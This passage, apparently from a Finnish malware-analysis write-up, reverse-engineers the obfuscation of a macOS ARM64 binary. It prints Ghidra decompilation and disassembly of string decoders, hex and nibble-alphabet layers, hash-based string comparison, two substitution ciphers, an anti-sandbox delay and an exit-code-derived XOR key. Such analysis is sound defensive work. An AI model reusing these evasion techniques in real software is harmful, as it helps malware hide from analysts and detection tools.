osoitteessa ",[555,1122,1123],{},"0x10009f43c",". Se on laskettu branch, jossa kohdeosoite määritetään ajonaikaisesti lookup-taulukosta. Staattiset analyysityökalut eivät pysty rekonstruoimaan control flow -graafia; Ghidra kirjasi useita \"unreachable block\" -varoituksia yrittäessään seurata suorituspolkua. Niin on tarkoituskin.",[528,1126,1127,1128,1131],{},"Hyppytaulukko ajaa ",[771,1129,1130],{},"14 tilan suorituskonetta",". Jokainen tila suorittaa yhden diskreetin askeleen purku- ja suoritusputkessa. Tilalaskuri päivitetään jokaisen askeleen jälkeen, ja kone käy, kunnes kaikki tilat on käyty läpi.",[562,1133,1135],{"id":1134},"state-dispatcherin-arm64-disassembly","State dispatcherin ARM64-disassembly",[528,1137,568],{},[573,1139,1140],{"style":575},[577,1141,1145],{"className":1142,"code":1143,"language":1144,"meta":585,"style":585},"language-asm shiki shiki-themes github-light github-dark","10009f3fc:  stp xzr,xzr,[sp, #0x48]\n10009f41c:  mov w0,#0x37e\n10009f420:  bl  0x1000a0fa8          ; _usleep(0x37e) — 894µs anti-sandbox\n10009f424:  cmp w25,#0xd             ; state counter \u003C 14?\n10009f428:  b.hi 0x10009fd44         ; exit if done\n10009f42c:  mov w8,w25               ; current state index\n10009f430:  adr x9,0x10009f440       ; base of jump table\n10009f434:  ldrh w10,[x20, x8, LSL#1]; load jump offset from table\n10009f438:  add x9,x9,x10, LSL #0x2  ; compute target address\n10009f43c:  br x9                    ; indirect branch, CFG broken here\n","asm",[555,1146,1147,1152,1157,1162,1167,1173,1179,1185,1191,1197],{"__ignoreMap":585},[622,1148,1149],{"class":624,"line":625},[622,1150,1151],{},"10009f3fc:  stp xzr,xzr,[sp, #0x48]\n",[622,1153,1154],{"class":624,"line":631},[622,1155,1156],{},"10009f41c:  mov w0,#0x37e\n",[622,1158,1159],{"class":624,"line":849},[622,1160,1161],{},"10009f420:  bl  0x1000a0fa8          ; _usleep(0x37e) — 894µs anti-sandbox\n",[622,1163,1164],{"class":624,"line":866},[622,1165,1166],{},"10009f424:  cmp w25,#0xd             ; state counter \u003C 14?\n",[622,1168,1170],{"class":624,"line":1169},5,[622,1171,1172],{},"10009f428:  b.hi 0x10009fd44         ; exit if done\n",[622,1174,1176],{"class":624,"line":1175},6,[622,1177,1178],{},"10009f42c:  mov w8,w25               ; current state index\n",[622,1180,1182],{"class":624,"line":1181},7,[622,1183,1184],{},"10009f430:  adr x9,0x10009f440       ; base of jump table\n",[622,1186,1188],{"class":624,"line":1187},8,[622,1189,1190],{},"10009f434:  ldrh w10,[x20, x8, LSL#1]; load jump offset from table\n",[622,1192,1194],{"class":624,"line":1193},9,[622,1195,1196],{},"10009f438:  add x9,x9,x10, LSL #0x2  ; compute target address\n",[622,1198,1200],{"class":624,"line":1199},10,[622,1201,1202],{},"10009f43c:  br x9                    ; indirect branch, CFG broken here\n",[562,1204,1206],{"id":1205},"kuusi-päällekkäistä-obfuskointikerrosta","Kuusi päällekkäistä obfuskointikerrosta",[528,1208,568],{},[528,1210,1211,1212,1215],{},"Binääri käyttää kuutta eri obfuskointikerrosta, pinottuna ja ketjutettuna niin, että kunkin kerroksen tuloste syötetään seuraavaan. Jokainen payload, jokainen merkkijono, jokainen sisäinen vakio on koodattu. ",[555,1213,1214],{},"__const","-segmentissä ei esiinny mitään merkityksellistä selkotekstinä. Seuraavassa on täydellinen kerroskohtainen erittely, suoraan Ghidrassa varmennettuna, aina yksittäisiin ARM64-käskyihin asti. Jokainen käytetyistä tekniikoista on itsessään tunnettu; niiden ketjutettu soveltaminen useassa vaiheessa loi kuitenkin vahvasti toisistaan riippuvan suoritusvuon, joka vaikeutti staattista ja dynaamista analyysiä huomattavasti.",[538,1217],{},[706,1219,1221],{"id":1220},"layer-1-compile-time-triplettikoodaus","Layer 1: compile-time-triplettikoodaus",[528,1223,712],{},[528,1225,1226,1227,1230],{},"Yhtäkään merkkijonoa ei ole binäärissä tallennettu merkkijonona vaan 12 tavun aritmeettisten triplettien sarjana. Jokainen tripletti ",[555,1228,1229],{},"(a, b, shift)"," koodaa täsmälleen yhden tulostemerkin. Koodausskeema sovelletaan käännösaikana, joten yksikään merkkijono ei koskaan esiinny selkotekstinä binäärissä, ei edes hetkellisesti latauksen yhteydessä.",[528,1232,1233,1234,1237,1238,1241,1242,1245,1246,1237,1249,1252,1253,1256],{},"Kaksi erillistä dekooderifunktiota käsittelee eri merkkijonokokoja. ",[555,1235,1236],{},"FUN_100087c08"," osoitteessa ",[555,1239,1240],{},"0x100087c08"," dekoodaa 60 merkin merkkijonoja (720 tavua syötedataa lähteestä ",[555,1243,1244],{},"DAT_1006292cc","). ",[555,1247,1248],{},"FUN_10007ad80",[555,1250,1251],{},"0x10007ad80"," dekoodaa 56 merkin merkkijonoja (672 tavua lähteestä ",[555,1254,1255],{},"DAT_10049708c","). Molemmat käyttävät samaa algoritmia.",[573,1258,1259],{"style":575},[1043,1260,1261,1264,1266,1269,1059,1271,1064,1273,1276,1277,1279,1280,1282,1283,1285,1286,1289,1290],{},[622,1262,1263],{"style":1047},"// FUN_100087c08 @ 0x100087c08",[1050,1265],{},[622,1267,1268],{"style":1047},"// Triplet decoder, 60 chars, data from DAT_1006292cc",[622,1270,1058],{"style":1057},[622,1272,1236],{"style":1062},[622,1274,1275],{"style":1057},"long"," *param_1)\n{\n  ",[622,1278,1275],{"style":1057}," *plVar1;\n  ",[622,1281,1058],{"style":1057}," *pvVar2;\n  ",[622,1284,1275],{"style":1057}," lVar3;\n  ",[622,1287,1288],{"style":1057},"uint"," *puVar4;\n",[528,1291,1292,1293,1064,1296,1299,1300,1305,1308,1309,1299,1311,1314,1316,1319,1320,1323,1324,1299,1327,1330,1331,1333,1334,1097,1336,1338,1339,1342,1343,1346,1347,1349,1350,1353,1354,1357,1358,1097,1361,1363,1364,1367,1368,1371,1373,1376,1377,1097,1379,1381,1382,1384,1385,1387,1388,1393,1394,1397,1398,1403,1404,1407,1408,1410,1411,1416,1417,1419,1420,1422,1423,1426,1427,1430,1431,1299,1433,1436,1438,1441,1442,1113],{},"pvVar2 = ",[622,1294,1295],{"style":1062},"operator_new",[622,1297,1298],{"style":1083},"0x2d0","); ",[622,1301,1302,1303],{"style":1047},"// allocate 720 bytes (60 triplets × 12)",[1050,1304],{},[622,1306,1307],{"style":1062},"_memcpy","(pvVar2, &DAT_1006292cc, ",[622,1310,1298],{"style":1083},[622,1312,1313],{"style":1047},"// copy encoded triplets from __const",[1050,1315],{},[622,1317,1318],{"style":1062},"FUN_1000a0840","(param_1, ",[622,1321,1322],{"style":1083},"0x3c",", ",[622,1325,1326],{"style":1083},"0",[622,1328,1329],{"style":1047},"// init 60-char output buffer","\nlVar3 = ",[622,1332,1326],{"style":1083},";\npuVar4 = (",[622,1335,1288],{"style":1057},[622,1337,1275],{"style":1057},")pvVar2 + ",[622,1340,1341],{"style":1083},"8",");\n",[622,1344,1345],{"style":1057},"do"," {\nplVar1 = (",[622,1348,1275],{"style":1057}," _)_param_1;\n",[622,1351,1352],{"style":1057},"if"," (-",[622,1355,1356],{"style":1083},"1"," \u003C _(",[622,1359,1360],{"style":1057},"char",[622,1362,1275],{"style":1057},")param_1 + ",[622,1365,1366],{"style":1083},"0x17",")) {\nplVar1 = param_1;\n}\n",[622,1369,1370],{"style":1047},"// THE DECODE FORMULA, one character per triplet:",[1050,1372],{},[622,1374,1375],{"style":1047},"// char = ((b _ 3) XOR a) >> shift) - b","\n_(",[622,1378,1360],{"style":1057},[622,1380,1275],{"style":1057},")plVar1 + lVar3) =\n(",[622,1383,1360],{"style":1057},")((",[622,1386,1070],{"style":1057},")(puVar4",[622,1389,1390,1391],{},"-",[622,1392,1356],{"style":1083}," * ",[622,1395,1396],{"style":1083},"3"," ^ puVar4",[622,1399,1390,1400],{},[622,1401,1402],{"style":1083},"2",") >> (*puVar4 & ",[622,1405,1406],{"style":1083},"0x1f",")) - (",[622,1409,1360],{"style":1057},")puVar4",[622,1412,1413],{},[622,1414,1415],{"style":1083},"-1",";\nlVar3 = lVar3 + ",[622,1418,1356],{"style":1083},";\npuVar4 = puVar4 + ",[622,1421,1396],{"style":1083},"; ",[622,1424,1425],{"style":1047},"// advance 12 bytes — next triplet","\n} ",[622,1428,1429],{"style":1057},"while"," (lVar3 != ",[622,1432,1322],{"style":1083},[622,1434,1435],{"style":1047},"// loop exactly 60 times",[1050,1437],{},[622,1439,1440],{"style":1062},"operator_delete","(pvVar2);\n",[622,1443,1112],{"style":1057},[528,1445,1446],{},"Vastaava ARM64-assembly, jossa jokainen käsky vastaa suoraan yhtä kaavan operaatiota:",[573,1448,1449],{"style":575},[577,1450,1453],{"className":1451,"code":1452,"language":582},[580],"100087c48:  add x9,x20,#0x8\n100087c4c:  ldp w10,w11,[x9, #-0x8]   ; load a → w10,  b → w11\n100087c50:  add w12,w11,w11, LSL #0x1 ; w12 = b + (b \u003C\u003C 1) = b * 3\n                                       ; (compiler avoids MUL instruction)\n100087c54:  eor w10,w12,w10           ; w10 = (b*3) XOR a\n100087c58:  ldr w12,[x9], #0xc        ; w12 = shift value; post-increment by 12\n100087c5c:  asr w10,w10,w12           ; arithmetic right shift — sign bit preserved\n100087c60:  sub w10,w10,w11           ; subtract b — final decoded character\n100087c74:  strb w10,[x11, x8, LSL ]  ; store one byte to output buffer\n100087c78:  add x8,x8,#0x1\n100087c7c:  cmp x8,#0x3c              ; loop counter vs. 60\n100087c80:  b.ne 0x100087c4c          ; continue until all 60 chars decoded\n",[555,1454,1452],{"__ignoreMap":585},[528,1456,1457,1458,1461,1462,1465],{},"Huomionarvoista: kertolasku ",[555,1459,1460],{},"b × 3"," on toteutettu muodossa ",[555,1463,1464],{},"add w12, w11, w11, LSL #1",", shift-and-add, joka välttää kertolaskukäskyn kokonaan. Se on klassinen kääntäjäoptimointi, joka tekee koodista samalla vaikeamman löytää signatuurihaulla.",[528,1467,1468],{},"Täydellinen dekoodauskaava:",[573,1470,1471],{"style":575},[577,1472,1475],{"className":1473,"code":1474,"language":582},[580],"char = ASR( (b × 3) XOR a, shift ) − b\n",[555,1476,1474],{"__ignoreMap":585},[528,1478,1479,1482,1483,1486,1487,1490],{},[555,1480,1481],{},"ASR"," (Arithmetic Shift Right) on ratkaiseva: se säilyttää etumerkkibitin. Jos välitulos ",[555,1484,1485],{},"(b×3) XOR a"," on negatiivinen, mikä on yleistä, looginen shift tuottaisi täysin eri tuloksen. Se on tarkoituksellista: se, joka toteuttaa kaavan uudelleen korkeamman tason ohjelmointikielessä ",[555,1488,1489],{},">>","-operaattorilla, saa hiljaisesti vääriä tulosteita, ellei etumerkillistä aritmetiikkaa oteta nimenomaisesti huomioon.",[528,1492,1493,1494,1496,1497,1499,1500,1503],{},"56 merkin variantti ",[555,1495,1248],{}," on rakenteellisesti identtinen, toimii datalla ",[555,1498,1255],{}," ja silmukkarajalla ",[555,1501,1502],{},"0x38",". Molemmat funktiot varmennettiin tämän analyysin aikana livenä Ghidrassa.",[538,1505],{},[706,1507,1509],{"id":1508},"layer-2-heksamerkkijonokoodaus","Layer 2: heksamerkkijonokoodaus",[528,1511,712],{},[528,1513,1514,1515,1518,1519,1237,1522,1525,1526,1529],{},"Layer 1:n tuottamat raakatavut ovat itse ASCII-heksamerkkejä, eivät binääridataa. Layer 1:n triplettidekoodauksen tuloste on merkkijono heksapareja: ",[555,1516,1517],{},"32694e5462…",". Tämän vahvistaa dekooderifunktio ",[555,1520,1521],{},"FUN_100000dc0",[555,1523,1524],{},"0x100000dc0",", joka toteuttaa heksadekoodauksen lookup-taulukolla osoitteessa ",[555,1527,1528],{},"DAT_1007bb591",".",[528,1531,1532,1533,1390,1536,1323,1539,1390,1542,1323,1545,1390,1548,1551],{},"Ghidra-dekompilaatio näyttää switch-lauseen, joka kuvaa jokaisen heksamerkin (",[555,1534,1535],{},"0x30",[555,1537,1538],{},"0x39",[555,1540,1541],{},"0x41",[555,1543,1544],{},"0x46",[555,1546,1547],{},"0x61",[555,1549,1550],{},"0x66",") sen nibble-arvoksi ja kokoaa tulostetavut kaksi merkkiä kerrallaan:",[573,1553,1554],{"style":575},[1043,1555,1556,1559,1562,1565,1566,1569,1570,1572,1573,1059,1576,1578,1579,1582,1583,939,1586,1059,1588,1591,1592,1422,1595,1597,1598,939,1601,1059,1603,1591,1606,1422,1609,1597,1611,939,1614,939,1617,1059,1619,1578,1621,1059,1623,1591,1625,1422,1628,1630,1631,939,1634,1059,1636,1578,1639,1059,1641,1591,1644,1422,1647,1630,1649,939,1652,1059,1654,1578,1657,1059,1659,1662,1663,1422,1666,1630,1668,939,1671,1059,1673,1578,1676,1059,1678,1681,1682,1422,1685,1630,1687,939,1690,1059,1692,1578,1695,1059,1697,1591,1700,1422,1703,1630,1705,939,1708,1059,1710,1578,1712,1059,1714,1591,1716,1422,1719,1630,1721,1724,1725,1728,1729,1569,1732,1734,1735,1737,1738,1741],{},[622,1557,1558],{"style":1047},"// FUN_100000dc0 @ 0x100000dc0",[622,1560,1561],{"style":1047},"// Hex decoder, processes input two characters per output byte",[622,1563,1564],{"style":1057},"switch","(*(",[622,1567,1568],{"style":1057},"undefined1"," *)((",[622,1571,1275],{"style":1057},")plVar2 + lVar7)) {\n  ",[622,1574,1575],{"style":1057},"case",[622,1577,1535],{"style":1083},": ",[622,1580,1581],{"style":1057},"break",";                  ",[622,1584,1585],{"style":1047},"// '0' → 0x00",[622,1587,1575],{"style":1057},[622,1589,1590],{"style":1083},"0x31",": bVar9 = ",[622,1593,1594],{"style":1083},"0x10",[622,1596,1581],{"style":1057},";   ",[622,1599,1600],{"style":1047},"// '1' → 0x10",[622,1602,1575],{"style":1057},[622,1604,1605],{"style":1083},"0x32",[622,1607,1608],{"style":1083},"0x20",[622,1610,1581],{"style":1057},[622,1612,1613],{"style":1047},"// '2' → 0x20",[622,1615,1616],{"style":1047},"// ... '3' through '9' ...",[622,1618,1575],{"style":1057},[622,1620,1541],{"style":1083},[622,1622,1575],{"style":1057},[622,1624,1547],{"style":1083},[622,1626,1627],{"style":1083},"0xa0",[622,1629,1581],{"style":1057},";  ",[622,1632,1633],{"style":1047},"// 'A'/'a' → 0xa0",[622,1635,1575],{"style":1057},[622,1637,1638],{"style":1083},"0x42",[622,1640,1575],{"style":1057},[622,1642,1643],{"style":1083},"0x62",[622,1645,1646],{"style":1083},"0xb0",[622,1648,1581],{"style":1057},[622,1650,1651],{"style":1047},"// 'B'/'b' → 0xb0",[622,1653,1575],{"style":1057},[622,1655,1656],{"style":1083},"0x43",[622,1658,1575],{"style":1057},[622,1660,1661],{"style":1083},"99",":   bVar9 = ",[622,1664,1665],{"style":1083},"0xc0",[622,1667,1581],{"style":1057},[622,1669,1670],{"style":1047},"// 'C'/'c' → 0xc0",[622,1672,1575],{"style":1057},[622,1674,1675],{"style":1083},"0x44",[622,1677,1575],{"style":1057},[622,1679,1680],{"style":1083},"100",":  bVar9 = ",[622,1683,1684],{"style":1083},"0xd0",[622,1686,1581],{"style":1057},[622,1688,1689],{"style":1047},"// 'D'/'d' → 0xd0",[622,1691,1575],{"style":1057},[622,1693,1694],{"style":1083},"0x45",[622,1696,1575],{"style":1057},[622,1698,1699],{"style":1083},"0x65",[622,1701,1702],{"style":1083},"0xe0",[622,1704,1581],{"style":1057},[622,1706,1707],{"style":1047},"// 'E'/'e' → 0xe0",[622,1709,1575],{"style":1057},[622,1711,1544],{"style":1083},[622,1713,1575],{"style":1057},[622,1715,1550],{"style":1083},[622,1717,1718],{"style":1083},"0xf0",[622,1720,1581],{"style":1057},[622,1722,1723],{"style":1047},"// 'F'/'f' → 0xf0","\n}\n",[622,1726,1727],{"style":1047},"// Second nibble from lookup table at DAT_1007bb591","\n*(",[622,1730,1731],{"style":1057},"byte",[622,1733,1275],{"style":1057},")pppppppuVar3 + uVar8) =\n    (&DAT_1007bb591)[(",[622,1736,1100],{"style":1057},")uVar4 & ",[622,1739,1740],{"style":1083},"0xff","] | bVar9;\n",[528,1743,1744],{},"ARM64-assembly ajaa tätä toissijaisella computed-branch-taulukolla ja toteuttaa siten käytännössä 55 merkinnän hyppytaulukon switchille:",[573,1746,1747],{"style":575},[577,1748,1751],{"className":1749,"code":1750,"language":582},[580],"100000e5c:  adr x17,0x100000e6c      ; base of case-dispatch table\n100000e60:  ldrb w0,[x12, x16, LSL ] ; load offset for this hex char\n100000e64:  add x17,x17,x0, LSL #0x2 ; compute dispatch address\n100000e68:  br x17                   ; jump — second computed branch in 24 bytes\n",[555,1752,1750],{"__ignoreMap":585},[528,1754,1755],{},"Kaksi laskettua branchia 24 tavun ikkunassa. Staattiset analyysityökalut eivät selviä tästä kuviosta, koska molemmat branch-kohteet ovat analyysihetkellä tuntemattomia.",[528,1757,1758],{},"137 208 merkin pituinen heksamerkkijono tuottaa dekoodauksen jälkeen 68 604 tavua, jotka syötetään sitten Layer 3:een.",[538,1760],{},[706,1762,1764],{"id":1763},"layer-3-mukautettu-16-symbolin-nibble-aakkosto","Layer 3: mukautettu 16 symbolin nibble-aakkosto",[528,1766,712],{},[528,1768,1769],{},"Layer 2:n 68 604 tulostetavua käyttävät vain 16:ta yksilöllistä tavuarvoa kahdelta ei-yhtenäiseltä ASCII-alueelta:",[1771,1772,1773,1822],"ul",{},[1774,1775,1776,1779,1780,1323,1783,1323,1786,1323,1789,1323,1792,1323,1795,1323,1798,1323,1801,1323,1803,1323,1806,1323,1809,1323,1812,1323,1815,1323,1817,1323,1819],"li",{},[555,1777,1778],{},"0x20-0x2F",": välilyönti, ",[555,1781,1782],{},"!",[555,1784,1785],{},"\"",[555,1787,1788],{},"#",[555,1790,1791],{},"$",[555,1793,1794],{},"%",[555,1796,1797],{},"&",[555,1799,1800],{},"'",[555,1802,1064],{},[555,1804,1805],{},")",[555,1807,1808],{},"*",[555,1810,1811],{},"+",[555,1813,1814],{},",",[555,1816,1390],{},[555,1818,1529],{},[555,1820,1821],{},"/",[1774,1823,1824,1578,1827,1323,1830,1323,1833,1323,1836,1323,1839,1323,1842,1323,1845,1848],{},[555,1825,1826],{},"0x78-0x7F",[555,1828,1829],{},"x",[555,1831,1832],{},"y",[555,1834,1835],{},"z",[555,1837,1838],{},"{",[555,1840,1841],{},"|",[555,1843,1844],{},"}",[555,1846,1847],{},"~",", DEL",[528,1850,1851],{},"Tämä on tietoinen suunnitteluratkaisu. Heksaeditorissa nämä tavut näyttävät välilyönneiltä, välimerkeiltä ja ASCII-reunamerkeiltä; ne sulautuvat siihen kohinaan, joka vaikuttaa metadatalta tai paddingilta. Analyytikko, joka silmäilee heksadumppia, ei merkitse näitä tavualueita epäilyttäviksi, ja tavanomaiset entropia-analyysit aliarvioivat todellisen entropian, koska tavujakauma ei vaikuta satunnaiselta.",[528,1853,1854,1855,1858,1859,1862,1863,1866,1867,1870],{},"Jokainen tavu tästä aakkostosta koodaa yhden nibblen varsinaisesta payloadista. Aakkosto-nibble-kuvauksen soveltaa enkoodaus-/dekoodausfunktio ",[555,1856,1857],{},"FUN_100000d60",", jonka varmensimme osoitteessa ",[555,1860,1861],{},"0x100000d60",". Se ketjuttaa kaksi alifunktiota: ",[555,1864,1865],{},"FUN_100000b50"," luo indeksoidun kartan syötemerkkijonon merkeistä, ja ",[555,1868,1869],{},"FUN_100000c34"," käy tätä karttaa läpi, kuluttaa 6 bittiä askelta kohti ja kerää tulostetavuja 8 bittiä kerrallaan:",[573,1872,1873],{"style":575},[1043,1874,1875,1878,1879,1881,1882,1884,1885,1887,1888,1891,1892,939,1895,1897,1898,1900,1901,943,1904,1906,1907,1910,1911,1913,1914,943,1917,1919,1920,1923,1924,1927,1928,1930,1931,1934,1935,1937,1938,1569,1941,1943,1944,1946,1947,1949],{},[622,1876,1877],{"style":1047},"// FUN_100000c34 @ 0x100000c34, nibble accumulator","\niVar5 = ",[622,1880,1326],{"style":1083},";\n",[622,1883,1345],{"style":1057}," {\n  local_52 = *(",[622,1886,1568],{"style":1057}," *)puVar4;\n  lVar3 = ",[622,1889,1890],{"style":1062},"FUN_1000a078c","(param_3, &local_52);  ",[622,1893,1894],{"style":1047},"// look up nibble value",[622,1896,1352],{"style":1057}," (lVar3 == ",[622,1899,1326],{"style":1083},") {\n    ",[622,1902,1903],{"style":1047},"// character not in alphabet, treat as raw",[622,1905,1890],{"style":1062},"(param_3, &local_51);\n  } ",[622,1908,1909],{"style":1057},"else"," {\n    iVar5 = iVar5 + ",[622,1912,1104],{"style":1083},";           ",[622,1915,1916],{"style":1047},"// accumulate 4 bits",[622,1918,1429],{"style":1057}," (",[622,1921,1922],{"style":1083},"7"," \u003C iVar5) {\n      std::string::",[622,1925,1926],{"style":1062},"push_back","((",[622,1929,1360],{"style":1057},")param_1);  ",[622,1932,1933],{"style":1047},"// emit byte when 8+ bits ready","\n      iVar5 = iVar5 + -",[622,1936,1341],{"style":1083},";\n    }\n  }\n  puVar4 = (",[622,1939,1940],{"style":1057},"undefined8",[622,1942,1275],{"style":1057},")puVar4 + ",[622,1945,1356],{"style":1083},");\n} ",[622,1948,1429],{"style":1057}," (puVar4 != puVar1);\n",[528,1951,1952],{},"Tästä ajosta syntyvät 34 302 tavua ovat 99,7-prosenttisesti tulostettavaa ASCII:ta. Ensimmäisellä pikaisella silmäyksellä payload näyttää tässä vaiheessa isolta shell-skriptiltä tai konfiguraatioblobilta.",[538,1954],{},[706,1956,1958],{"id":1957},"layer-4-compile-time-merkkijono-obfuskointi","Layer 4: compile-time-merkkijono-obfuskointi",[528,1960,712],{},[528,1962,1963],{},"Sisäisesti käytetyt merkkijonot obfuskoidaan käännösaikana samalla triplettiskeemalla kuin Layer 1:ssä ja rekonstruoidaan ajonaikaisesti välittömästi ennen käyttöä. Muistissa ne eivät viivy koskaan tarpeellista pidempään; puskuri vapautetaan heti kulutuksen jälkeen. Binäärin staattisissa datasektioissa ei ole missään vaiheessa näkyvissä dekoodattua merkkijonoa.",[528,1965,1966,1967,1970],{},"Merkkijonon hash-funktio ",[555,1968,1969],{},"FUN_100000730"," tuottaa toissijaisen obfuskointikerroksen merkkijonovertailuille. Sen sijaan että vertailtaisiin merkkijonoja suoraan, mikä jättäisi selkotekstiä muistiin, binääri laskee ja vertailee kokonaislukuhasheja:",[573,1972,1973],{"style":575},[1043,1974,1975,1978,1981,1059,1983,1064,1985,1276,1987,1989,1990,1993,1994,939,1997,939,2000,2003,2004,2006,2007,2009,2010,2012,2013,1630,2016,2019,2020,2022,2023,2025],{},[622,1976,1977],{"style":1047},"// FUN_100000730 @ 0x100000730",[622,1979,1980],{"style":1047},"// FNV-style string hash, avoids plaintext string comparisons",[622,1982,1070],{"style":1057},[622,1984,1969],{"style":1062},[622,1986,1360],{"style":1057},[622,1988,1070],{"style":1057}," iVar4 = ",[622,1991,1992],{"style":1083},"0x19a8",";    ",[622,1995,1996],{"style":1047},"// FNV offset basis (modified)",[622,1998,1999],{"style":1047},"// ...",[622,2001,2002],{"style":1057},"for"," (; uVar3 != ",[622,2005,1326],{"style":1083},"; uVar3 = uVar3 - ",[622,2008,1356],{"style":1083},") {\n    iVar4 = (",[622,2011,1070],{"style":1057},")*pcVar1 + iVar4 * -",[622,2014,2015],{"style":1083},"0x7fb91be3",[622,2017,2018],{"style":1047},"// FNV-1a style multiply","\n    pcVar1 = pcVar1 + ",[622,2021,1356],{"style":1083},";\n  }\n  ",[622,2024,1112],{"style":1057}," iVar4;\n}\n",[528,2027,2028],{},"ARM64-assembly korvaa kertolaskun fused multiply-addilla:",[573,2030,2031],{"style":575},[577,2032,2035],{"className":2033,"code":2034,"language":582},[580],"100000744:  mov w0,#0x19a8            ; FNV basis\n100000750:  mov w10,#0xe41d\n100000754:  movk w10,#0x8046, LSL #16 ; constant = 0x8046e41d = -0x7fb91be3\n100000758:  ldrsb w11,[x8], #0x1      ; load char, post-increment\n10000075c:  madd w0,w0,w10,w11        ; w0 = w0 * 0x8046e41d + char\n100000760:  subs x9,x9,#0x1\n100000764:  b.ne 0x100000758\n",[555,2036,2034],{"__ignoreMap":585},[528,2038,2039],{},"Tämä tarkoittaa, että edes kahden merkkijonon vertailu binäärin sisällä ei tuota branchia, jonka debuggeri voisi napata siististi merkkijonotasolla, vaan vain hash-tasolla.",[538,2041],{},[706,2043,2045],{"id":2044},"layer-5-kaksi-mukautettua-stream-cipher-instanssia","Layer 5: kaksi mukautettua stream cipher -instanssia",[528,2047,712],{},[528,2049,2050,2051,2054],{},"Tässä kohtaa obfuskointiarkkitehtuuri muuttuu epätavalliseksi. Binäärissä ei aja yksi vaan ",[771,2052,2053],{},"kaksi erillistä cipher-instanssia",", kummallakin eri kovakoodattu lookup-taulukko ja eri alkulaskuri. Molemmat käyttävät samaa algoritmirakennetta mutta tuottavat eri tulosteaakkostot payload-putken eri osille.",[528,2056,2057,1323,2060,1237,2063,2066],{},[771,2058,2059],{},"Instanssi A",[555,2061,2062],{},"FUN_10007ab34",[555,2064,2065],{},"0x10007ab34",":",[573,2068,2069],{"style":575},[1043,2070,2071,2074,2075,1881,2078,2080,2081,1569,2083,2085,2086,2088,2089,1569,2091,2093,2094,2096,2097,1569,2099,2101,2102,2104,2105,2108,2109,2111,2112,2114],{},[622,2072,2073],{"style":1047},"// Instance A, start counter 0x4c, table @ 0x100496f8b","\nuVar6 = ",[622,2076,2077],{"style":1083},"0x4c",[622,2079,1345],{"style":1057}," {\n  bVar2 = *(",[622,2082,1731],{"style":1057},[622,2084,1275],{"style":1057},")local_e0 +\n          ((",[622,2087,1100],{"style":1057},")(*(",[622,2090,1731],{"style":1057},[622,2092,1275],{"style":1057},")local_c8 + uVar5) ^ uVar6) & ",[622,2095,1740],{"style":1083},"));\n  *(",[622,2098,1731],{"style":1057},[622,2100,1275],{"style":1057},")plVar1 + uVar5) = bVar2;\n  uVar6 = (",[622,2103,1070],{"style":1057},")uVar5 + (uVar6 ^ bVar2);  ",[622,2106,2107],{"style":1047},"// counter: i + (counter XOR output)","\n  uVar5 = uVar5 + ",[622,2110,1356],{"style":1083},";\n} ",[622,2113,1429],{"style":1057}," (uVar7 != uVar5);\n",[528,2116,2117,1323,2120,1237,2123,2066],{},[771,2118,2119],{},"Instanssi B",[555,2121,2122],{},"FUN_10007a7e0",[555,2124,2125],{},"0x10007a7e0",[573,2127,2128],{"style":575},[1043,2129,2130,2074,2133,1881,2136,2080,2138,1569,2140,2142,2143,2088,2145,1569,2147,2149,2150,2096,2152,1569,2154,2101,2156,2104,2158,2108,2161,2111,2163,2114],{},[622,2131,2132],{"style":1047},"// Instance B, start counter 0x9f, different table @ 0x100496e0a region",[622,2134,2135],{"style":1083},"0x9f",[622,2137,1345],{"style":1057},[622,2139,1731],{"style":1057},[622,2141,1275],{"style":1057},")local_c0 +\n          ((",[622,2144,1100],{"style":1057},[622,2146,1731],{"style":1057},[622,2148,1275],{"style":1057},")local_a8 + uVar5) ^ uVar6) & ",[622,2151,1740],{"style":1083},[622,2153,1731],{"style":1057},[622,2155,1275],{"style":1057},[622,2157,1070],{"style":1057},[622,2159,2160],{"style":1047},"// identical counter update formula",[622,2162,1356],{"style":1083},[622,2164,1429],{"style":1057},[528,2166,2167,2168,2170,2171,2173],{},"Algoritmi on rakenteellisesti identtinen, mutta alkulaskuri eroaa (",[555,2169,2077],{}," vs. ",[555,2172,2135],{},") ja lookup-taulukot sijaitsevat eri muistiosoitteissa. Instanssi A kutsutaan tilakoneen tilasta 11 tuottamaan koodausaakkosto ensimmäiselle payload-polulle. Instanssi B kutsutaan tilasta 6 tuottamaan aakkosto ison shell-skripti-payloadin dekoodaukseen.",[528,2175,2176,2177,2180,2181,2184,2185,2188],{},"Täsmällisesti muotoiltuna: kyseessä on ",[771,2178,2179],{},"substituutiosalain, jonka indeksi riippuu laskurista",". Jokainen tulostetavu on taulukkohaku, jossa indeksi on ",[555,2182,2183],{},"(input_byte XOR counter) & 0xFF",". Laskuri päivittyy jokaisen tavun jälkeen muodossa ",[555,2186,2187],{},"counter = (i + (counter XOR output)) & 0xFF",", mikä tarkoittaa, että jokainen tulostetavu vaikuttaa seuraavan hakuindeksin määrittymiseen. Se luo riippuvuusketjun koko tulostesekvenssin yli: tavua N ei voi purkaa purkamatta ensin tavuja 0…N-1 oikein. Osittainen purku tai virheanalyysi käy siten huomattavasti vaikeammaksi.",[528,2190,2191],{},"Kumpikaan instansseista ei ole standardi-RC4. S-box-alustusvaihetta ei ole, S-box-swap-operaatiota ei ole. Lookup-taulukot ovat staattisia, käännösaikana upotettuja vakioita.",[538,2193],{},[706,2195,2197],{"id":2196},"layer-6-runtime-xor-exit-koodista-riippuvalla-avaimella","Layer 6: runtime-XOR exit-koodista riippuvalla avaimella",[528,2199,712],{},[528,2201,2202,2203,2206],{},"Viimeinen ja analyyttisesti vaativin kerros soveltaa in-place-XOR-muunnosta Stage 2 -payloadiin. XOR-avain ei ole kovakoodattu vaan johdetaan ajonaikaisesti ",[771,2204,2205],{},"ensimmäisen shell-payloadin suorituksen"," exit-koodista, eikä se siten ole periaatteessa määritettävissä staattisella analyysillä. Binääri on todella suoritettava ja ensimmäisen shell-skriptin ajettava loppuun, ennen kuin avain ylipäätään on olemassa.",[528,2208,2209],{},"Avaimenjohtosekvenssi ARM64-tilakoneen dispatcherissa:",[573,2211,2212],{"style":575},[577,2213,2216],{"className":2214,"code":2215,"language":582},[580],"; After shell_exec_via_pipe #1 returns, exit code is in w0\n10009f838:  ubfx w8,w0,#0x8,#0x8     ; extract bits [15:8] of exit status\n10009f83c:  mov w9,#0x7f0             ; multiplier constant\n10009f840:  madd w8,w8,w9,w26         ; key = (exit_byte × 0x7f0) + base_counter\n10009f844:  and w24,w8,#0xffff        ; mask to 16-bit key → stored in 